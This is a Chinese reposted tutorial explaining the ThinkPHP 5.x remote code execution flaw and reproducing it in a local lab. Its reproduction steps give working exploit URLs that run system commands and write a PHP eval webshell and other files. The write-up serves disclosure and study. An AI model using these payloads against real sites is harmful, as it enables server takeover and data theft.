视频教程分类
推荐视频教程
  • php程序员小白到大牛三个月集训php程序员小白到大牛三个月集训
  • Laravel 9 学习正当时—保姆级教程,想学不会都难!Laravel 9 学习正当时—保姆级教程,想学不会都难!
  • 千万级数据并发解决方案(理论+实战)千万级数据并发解决方案(理论+实战)
  • Laravel基础与实战(模块化)Laravel基础与实战(模块化)
  • 首页 >php框架 >ThinkPHP > 正文

    thinkphp远程执行命令漏洞

    转载2020-05-08 09:16:122652 关注公众号:每天精选资源文章推送

    漏洞概况

    ThinkPHP是一款国内流行的开源PHP框架,近日被爆出存在可能的远程代码执行漏洞,攻击者可向缓存文件内写入PHP代码,导致远程代码执行。

    虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

    漏洞危害

    攻击者可通过该漏洞获取网站的控制权限,可修改页面,导致数据泄漏等问题。

    影响版本

    5.x < 5.1.31, <= 5.0.23

    复现环境

    thinkphp5.1 phpstudy集成环境(php5.6n+apache+mysql)

    复现过程

    1、如图所示首先搭建好环境

    1.jpg

    2、利用system函数远程命令执行:

    http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami

    2.jpg

    3、通过phpinfo函数写出phpinfo()的信息:

    http://localhost/thinkphp5.1/html/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1

    3.jpg

    4、写入shell:

    http://localhost/thinkphp5.1/html/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

    4.jpg

    http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>

    推荐教程:《TP5

    以上就是thinkphp远程执行命令漏洞的详细内容,更多请关注php中文网其它相关文章!

    20期PHP线上班

    声明:本文转载于:CSDN,如有侵犯,请联系admin@php.cn删除

  • 相关标签:thinkphp
  • 推荐:PHP从基础到实战教程视频

    相关文章

    相关视频


    专题推荐